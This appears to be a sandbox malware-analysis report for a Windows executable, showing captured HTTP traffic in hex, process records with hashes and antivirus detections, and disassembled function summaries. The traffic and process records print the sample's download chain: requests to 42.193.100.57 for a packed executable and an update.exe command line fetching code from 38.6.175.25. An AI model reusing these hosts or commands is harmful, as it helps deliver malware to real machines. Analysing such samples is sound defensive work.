Nov 20, 2024 09:14:44.500897884 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 09:14:44.500910044 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 09:14:44.500921965 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 09:14:44.500932932 CET	752	IN	Data Raw: 23 09 7f 6d 4f 4b 0f e3 f8 d2 fe 76 25 ad 36 fb dc c8 5d 34 d7 54 6c d5 d0 6a aa 4d a4 01 5b 85 37 4e 03 c2 4a a6 7a 36 42 ba f7 06 43 df f5 ec da 8e b1 b8 3b dc 2b a8 73 b2 ec 04 b4 0f f1 ec b8 73 4c 1d ec b9 01 1f 3e 6c 3a 21 de dd e1 df 64 97 Data Ascii: #mOKv%6]4TljM[7NJz6BC;+ssL>l:!d0k.S#QIyBK#EARa2#i1EKDE#=K{/TK#5TlAq{]$b7RCAE)1Hg%iocXpNNo%o=
Nov 20, 2024 09:14:44.724827051 CET	1236	IN	Data Raw: 86 ef fd 5e e5 d8 61 12 ed 67 3f 4d b5 a0 91 23 54 52 6e 2e bb c2 4e 67 21 b9 d7 cb 4e f4 3d d9 4a e9 a2 f7 9d 0e ba 7a 29 2f 40 ae 28 72 09 6b e9 9b 2a b1 ad 84 48 46 b1 00 2d d6 f1 53 2f 06 41 0e ca d2 79 d8 f1 8f a2 4c f3 f1 93 f7 9d 02 0e 00 Data Ascii: ^ag?M#TRn.Ng!N=Jz)/@(rkHF-S/AyLayBs\AHhwn:fLEpRi4lLgqo%Y>Zcq6N}5B&koCZLUX>{x'Z D*uRW8qlp`e?s
Nov 20, 2024 09:14:44.724853992 CET	1236	IN	Data Raw: 88 08 c0 d2 55 f9 81 ef 04 00 00 00 80 de 14 c1 f2 2a 66 0f ba f2 49 8b 17 f8 f7 c4 10 41 1c 59 33 d3 81 f2 df 7d 4d 1d f8 66 f7 c5 4a 5e f7 da e9 b5 c7 0c 00 f8 33 da 81 ff 66 52 8e 59 66 f7 c1 c9 70 e9 c0 3f 0a 00 81 f2 27 55 c4 32 0f ca e9 ab Data Ascii: U*fIAY3}MfJ^3fRYfp?'U2VY[%.tFfSffEffD%3SfD%;ffUffffffEfD%f3
Nov 20, 2024 09:14:44.724865913 CET	448	IN	Data Raw: f4 a1 00 89 4b 31 96 b9 4c 46 2c e8 45 df ba d8 42 a8 19 4d 26 36 8f 7d 21 41 35 2c 28 d8 a3 1c 2f af 56 11 27 22 c0 21 20 55 7a 70 29 cc ec 40 2e bb 4f d5 4a 25 d9 e5 4d 52 63 b4 44 cb f5 84 43 bc 64 99 fc 2c f2 a9 fb 5b 48 f8 f2 c2 de c8 f5 b5 Data Ascii: K1LF,EBM&6}!A5,(/V'"! Uzp)@.OJ%MRcDCd,[H}]+m\Q<!ls@@putY%^"}+r,mHG]OzFk<A1INnPG$`@$#i*=-:`}#Mg,J8=
Nov 20, 2024 09:14:44.724878073 CET	1236	IN	Data Raw: 49 1c 1c 7b f6 8c 8a 4b f1 fb 30 1a f8 62 a6 2a ff 15 05 bf 9b 8b 93 8f 9c fc 29 de 95 65 bf ee 92 12 12 82 28 d2 84 b2 2f a5 3e e3 26 3c a8 d3 21 4b 0b 46 45 d5 9d 76 42 a2 27 27 4b 3b b1 17 4c 4c 20 0a f3 dc b6 3a f4 ab 0c 6b fd 32 9a 5b fa 45 Data Ascii: I{K0b)e(/>&<!KFEvB''K;LL :k2[E95BvZ!VoVfC7&QDDCh{J/KMX]).q'( _FLAH`Opf+UV,%y7"w*~KR{~gKy(m
Nov 20, 2024 09:14:44.724889994 CET	1236	IN	Data Raw: ad 7c 7e 41 f9 33 da f7 c5 01 43 72 31 e9 e7 d4 09 00 f5 f9 c1 c1 03 49 66 81 fa 8f 6b f7 d9 f9 3b e7 66 3d d3 04 0f c9 81 f1 66 3c 5f 5b f5 f9 f7 d1 e9 88 90 0f 00 e9 89 b5 55 00 1c b6 d9 38 f7 1b ac eb 37 ea 7a 15 da 20 d8 18 bc 8f 8b c6 81 ee Data Ascii: \|~A3Cr1Ifk;f=f<_[U87z H%L=qB7UD%;ff3ff5FW~E(<13DIqpZfNfcSfOf;*5)zff
Nov 20, 2024 09:14:44.724906921 CET	1236	IN	Data Raw: e7 9d fa 1a b8 67 c4 ff 9c da ca c2 8d 8a 94 c8 00 00 00 00 f1 59 63 85 2f 8d 65 75 3c e5 4f 87 7a 1a 51 a0 8f 19 79 30 60 d1 9b 24 69 37 ff ff ff ff d6 12 32 c6 90 83 9d ee 7a 99 c4 7a 21 a8 f9 70 2f 6a fb 06 59 fd dc 7f 00 cb 49 05 7a 22 1c ec Data Ascii: gYc/eu<OzQy0`$i72zz!p/jYIz"W11%:LyBUaj&odM1x<r79hz^1f=3_7~p&&^MASa~a%iK Q_t\|}zQz0hQ&z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49702	42.193.100.57	80	6648	C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:14:44.511332035 CET	106	OUT	GET /%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe HTTP/1.1 Host: 42.193.100.57 Cache-Control: no-cache
Nov 20, 2024 09:14:45.429563999 CET	1236	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 23 Jul 2024 08:08:40 GMT Accept-Ranges: bytes ETag: "db12387d7dcda1:0" Server: Microsoft-IIS/8.5 Date: Wed, 20 Nov 2024 08:14:45 GMT Content-Length: 6123520 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 25 59 9f 66 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 a0 11 00 00 00 2b 00 00 00 00 00 fe 77 76 00 00 10 00 00 00 b0 11 00 00 00 40 00 00 10 00 00 00 10 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 a0 c5 00 00 10 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fc 98 c4 00 68 01 00 00 00 10 c5 00 b5 8b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL%Yf+wv@hP.text `.rdataxS'@@.data9@.vmp06)?``.vmp1\@h\``.rsrc\@@
Nov 20, 2024 09:14:45.429582119 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 09:14:45.429603100 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 09:14:45.429610014 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 09:14:45.429615974 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 09:14:45.429622889 CET	528	IN	Data Raw: 4e 6f 1d 86 aa 07 bc e1 e6 90 25 b8 c0 d8 d9 89 6f 3d 1a e5 dc 9d 7e 74 f2 b4 fe 46 27 b1 b4 6a d1 95 01 23 44 1e e2 4d 4b 85 f3 2e ac dc 4d 7e 0f 21 23 a2 e2 9a 4a 4b 8f 5c b2 ad dc 0a 7f ec 0b 23 3d d4 74 f6 dc 51 62 74 fa b4 90 d5 04 93 99 0e Data Ascii: No%o=~tF'j#DMK.M~!#JK\#=tQbtH$3L%Glmigz^Xd[)-T%->HKK?$Xs#+$3t#P5WH#!}F/#fUffff:D%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.11	49703	42.193.100.57	80	5608	C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:14:56.144382000 CET	259	OUT	GET /%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt HTTP/1.1 Accept: / Referer: http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt Accept-Language: zh-cn User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1) Host: 42.193.100.57 Cache-Control: no-cache
Nov 20, 2024 09:14:57.191952944 CET	576	IN	HTTP/1.1 200 OK Content-Type: text/plain Last-Modified: Tue, 23 Jul 2024 10:50:23 GMT Accept-Ranges: bytes ETag: "fcb8701eeedcda1:0" Server: Microsoft-IIS/8.5 Date: Wed, 20 Nov 2024 08:14:56 GMT Content-Length: 351 Data Raw: b0 e6 b1 be a1 be 34 2e 38 a1 bf b0 e6 b1 be 0d 0a 0a 0a c7 bf d6 c6 b8 fc d0 c2 a1 be d5 e6 a1 bf c7 bf d6 c6 b8 fc d0 c2 0d 0a 0a 0a c3 fb d7 d6 a1 be c7 a7 c7 a7 cd ed d0 c7 31 36 a1 bf c3 fb d7 d6 0a 0a 0d 0a d2 bb bc fc b9 d8 bb fa a1 be bc d9 a1 bf d2 bb bc fc b9 d8 bb fa 0d 0a 0a 0a cf c2 d4 d8 b5 d8 d6 b7 a1 be 68 74 74 70 3a 2f 2f 34 32 2e 31 39 33 2e 31 30 30 2e 35 37 2f 25 45 35 25 38 44 25 38 33 25 45 35 25 38 44 25 38 33 25 45 36 25 39 39 25 39 41 25 45 36 25 39 38 25 39 46 31 36 2e 65 78 65 a1 bf cf c2 d4 d8 b5 d8 d6 b7 0a 0a 0d 0a d5 e2 ca c7 b9 ab b8 e6 a1 be 20 b9 fe ba f4 ba f4 20 b7 c9 b7 c9 d3 e3 20 b9 d8 d3 f0 d3 f0 20 d5 c5 b7 c9 b7 c9 20 20 ce e4 cb c9 cb c9 a1 bf d5 e2 ca c7 b9 ab b8 e6 0a 0a 0a 0a 0d 0a d5 e2 ca c7 c8 d5 d6 be a1 be 31 2e b8 fc d0 c2 c1 cb c6 a8 31 a1 a3 2f 6e 32 2e d3 c5 bb af b8 f6 c6 a8 32 a1 a3 2f 6e 33 2e d0 c2 d4 f6 b8 f6 c6 a8 a1 a3 2f 6e 34 2e cc e1 c9 fd c1 cb d3 c3 bb a7 b5 c4 ca b9 d3 c3 cc e5 d1 e9 a3 ac b8 d0 be f5 d6 b1 bd d3 c0 ad c2 fa a1 a3 [TRUNCATED] Data Ascii: 4.816http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe 1.1/n2.2/n3./n4.
Nov 20, 2024 09:14:57.204302073 CET	132	OUT	GET /%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe HTTP/1.1 User-Agent: Agent7220484 Host: 42.193.100.57 Cache-Control: no-cache
Nov 20, 2024 09:14:58.259481907 CET	1236	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 23 Jul 2024 08:08:40 GMT Accept-Ranges: bytes ETag: "db12387d7dcda1:0" Server: Microsoft-IIS/8.5 Date: Wed, 20 Nov 2024 08:14:58 GMT Content-Length: 6123520 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 25 59 9f 66 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 a0 11 00 00 00 2b 00 00 00 00 00 fe 77 76 00 00 10 00 00 00 b0 11 00 00 00 40 00 00 10 00 00 00 10 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 a0 c5 00 00 10 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fc 98 c4 00 68 01 00 00 00 10 c5 00 b5 8b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL%Yf+wv@hP.text `.rdataxS'@@.data9@.vmp06)?``.vmp1\@h\``.rsrc\@@
Nov 20, 2024 09:14:58.259499073 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 09:14:58.259514093 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 09:14:58.259525061 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 09:14:58.259537935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @1%vH6A(\|}M-<_[Y]gH3$$,VaeS^i*w/7
Nov 20, 2024 09:14:58.259623051 CET	304	IN	Data Raw: d3 da 80 ca 3a 8f 44 25 00 8d bf fc ff ff ff d2 ea 8b 17 3b f8 66 81 fd c0 02 33 d3 f8 f7 da f8 f9 81 f2 ba 10 94 1e e9 35 35 53 00 f7 d1 e9 26 12 0d 00 f8 a9 be 2f 02 30 81 f1 33 2b c3 27 66 3b da 0f c9 33 d9 03 f1 e9 57 43 08 00 c0 73 b6 b9 28 Data Ascii: :D%;f355S&/03+'f;3WCs(~nm);H5aICxP8H-*B#XODz&(rln8R_H/EQtl1ya~Wk7\|&r$je'F=
Nov 20, 2024 09:14:58.525998116 CET	1236	IN	Data Raw: 86 ef fd 5e e5 d8 61 12 ed 67 3f 4d b5 a0 91 23 54 52 6e 2e bb c2 4e 67 21 b9 d7 cb 4e f4 3d d9 4a e9 a2 f7 9d 0e ba 7a 29 2f 40 ae 28 72 09 6b e9 9b 2a b1 ad 84 48 46 b1 00 2d d6 f1 53 2f 06 41 0e ca d2 79 d8 f1 8f a2 4c f3 f1 93 f7 9d 02 0e 00 Data Ascii: ^ag?M#TRn.Ng!N=Jz)/@(rkHF-S/AyLayBs\AHhwn:fLEpRi4lLgqo%Y>Zcq6N}5B&koCZLUX>{x'Z D*uRW8qlp`e?s
Nov 20, 2024 09:14:58.526017904 CET	1236	IN	Data Raw: 88 08 c0 d2 55 f9 81 ef 04 00 00 00 80 de 14 c1 f2 2a 66 0f ba f2 49 8b 17 f8 f7 c4 10 41 1c 59 33 d3 81 f2 df 7d 4d 1d f8 66 f7 c5 4a 5e f7 da e9 b5 c7 0c 00 f8 33 da 81 ff 66 52 8e 59 66 f7 c1 c9 70 e9 c0 3f 0a 00 81 f2 27 55 c4 32 0f ca e9 ab Data Ascii: U*fIAY3}MfJ^3fRYfp?'U2VY[%.tFfSffEffD%3SfD%;ffUffffffEfD%f3
Nov 20, 2024 09:14:58.526032925 CET	1236	IN	Data Raw: f4 a1 00 89 4b 31 96 b9 4c 46 2c e8 45 df ba d8 42 a8 19 4d 26 36 8f 7d 21 41 35 2c 28 d8 a3 1c 2f af 56 11 27 22 c0 21 20 55 7a 70 29 cc ec 40 2e bb 4f d5 4a 25 d9 e5 4d 52 63 b4 44 cb f5 84 43 bc 64 99 fc 2c f2 a9 fb 5b 48 f8 f2 c2 de c8 f5 b5 Data Ascii: K1LF,EBM&6}!A5,(/V'"! Uzp)@.OJ%MRcDCd,[H}]+m\Q<!ls@@putY%^"}+r,mHG]OzFk<A1INnPG$`@$#i*=-:`}#Mg,J8=
Nov 20, 2024 09:14:58.526053905 CET	672	IN	Data Raw: 7e d4 1a 62 dd bf 89 bd 41 fb ca 85 ef 43 8d e1 77 ea 27 07 f5 f8 15 ca 7a 3a cf 0a 6c c2 02 3f b6 ab 4e b0 00 93 f4 41 51 cc 74 b3 00 02 56 16 5e 96 46 78 09 a9 33 c1 29 a1 1d df c2 90 1d e2 29 08 8a fc db bd 00 de 77 0a 5e ca 1e b6 e5 7b 39 92 Data Ascii: ~bACw'z:l?NAQtV^Fx3))w^{92CJzv^qTh^Zv4lfpSJW^(^UA=?}[a^0du$WL"ePFr^@?-
Nov 20, 2024 09:14:58.526211023 CET	1236	IN	Data Raw: e9 2a 9a 0f 00 35 d4 29 7a 66 e9 ce 1c 02 00 66 0f b6 06 8a 4e 02 66 81 f9 8f 10 f9 8d b6 fe ff ff ff f9 e9 26 f8 53 00 f7 d2 33 da 66 81 fe 22 67 8d bf fc ff ff ff f5 f7 c7 44 4f 2e 50 89 17 c0 c2 1b 66 0f 42 d7 8b 54 25 00 f7 c1 73 52 7e 6d f8 Data Ascii: 5)zffNf&S3f"gDO.PfBT%sR~m3M?xffIUZAA;UHfpqfwD14$HM]@:McDMs3f;fJ3;3WD%Uff3E;7L%

Target ID:	0
Start time:	03:14:41
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe"
Imagebase:	0x400000
File size:	876'544 bytes
MD5 hash:	F5B663E9AA9555B45BD9E88221083781
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	03:14:54
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe"
Imagebase:	0x400000
File size:	876'544 bytes
MD5 hash:	F5B663E9AA9555B45BD9E88221083781
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	03:14:57
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\ 16.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\ 16.exe
Imagebase:	0x400000
File size:	6'123'520 bytes
MD5 hash:	72AA0DBF54D8C3A47D3C3AA1BD875E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 29%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:15:23
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\update.exe
Wow64 process (32bit):	true
Commandline:	update.exe 1.2 16.exe http://38.6.175.25:901/down http://38.6.175.25:901
Imagebase:	0x400000
File size:	888'832 bytes
MD5 hash:	CA57BDFF74665A2A42A8CF4AD4593D9F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 61%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	11.9%
Total number of Nodes:	1244
Total number of Limit Nodes:	57

Executed Functions

Function 00440F30 Relevance: 17.9, APIs: 7, Strings: 3, Instructions: 370
commemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00440F59
OleInitialize.OLE32(00000000), ref: 00440F95
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00440FB3
SetCurrentDirectoryA.KERNEL32(022C56C8,?), ref: 0044100D
LoadCursorA.USER32(00000000,00007F00), ref: 00441068
GetStockObject.GDI32(00000005), ref: 00441089
GetCurrentThreadId.KERNEL32 ref: 004410B1

Strings

_EL_HideOwner, xrefs: 00441093
yJ, xrefs: 00441274
L<J, xrefs: 00441241

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Current$CursorDirectoryFileHeapInitializeLoadModuleNameObjectProcessStockThread
String ID: yJ$L<J$_EL_HideOwner
API String ID: 3783217854-935527023
Opcode ID: 57b2d096cb72a31a9a24e0629458f4f36cbe27a87ddec9a68f25fbde4c42fcae
Instruction ID: ace573792b31cd27e3ad006113ce362d78a8794010663ea73e95b13c9c07c022
Opcode Fuzzy Hash: 57b2d096cb72a31a9a24e0629458f4f36cbe27a87ddec9a68f25fbde4c42fcae
Instruction Fuzzy Hash: 07E12474A002059FEB14DF64CC81BEE77B4FF45308F14417EE905AB2A2DB78A945CBA9

Function 0041AAD0 Relevance: 15.3, APIs: 10, Instructions: 287
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(00000000,004CB21C), ref: 0041AB37
LoadLibraryA.KERNEL32(?,?,004DB5E8), ref: 0041AC29
LoadLibraryA.KERNEL32(?,?), ref: 0041AC6F
LoadLibraryA.KERNEL32(?,?,004DB4F0,00000001), ref: 0041ACB7
LoadLibraryA.KERNEL32(00000001), ref: 0041ACCD
GetProcAddress.KERNEL32(00000000,?), ref: 0041ACDF
FreeLibrary.KERNEL32(00000000), ref: 0041AD72

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Library$Load$AddressProc$Free
String ID:
API String ID: 3120990465-0
Opcode ID: 871ac5e4bd2ee63b974b1dd3554d00c8a811ecf772eb223d5689162729969406
Instruction ID: 72d55d5f555420c714174a446375559edfe6da7d10553acc287504182622b36b
Opcode Fuzzy Hash: 871ac5e4bd2ee63b974b1dd3554d00c8a811ecf772eb223d5689162729969406
Instruction Fuzzy Hash: BEA1D4B5601702AFC710DF65D881BABB7A9FF88314F040A2EF81597351DB38E954CB9A

Function 004071EA Relevance: 13.2, Strings: 10, Instructions: 712
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

h:J, xrefs: 004077FD
I:J, xrefs: 00407570
6J, xrefs: 00407898
W:J, xrefs: 00407702
-:J, xrefs: 004073EA
|9J, xrefs: 00407AF9
Range:bytes=, xrefs: 00407480
s:J, xrefs: 00407B21
6J, xrefs: 00407857
Agent, xrefs: 004072E3

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
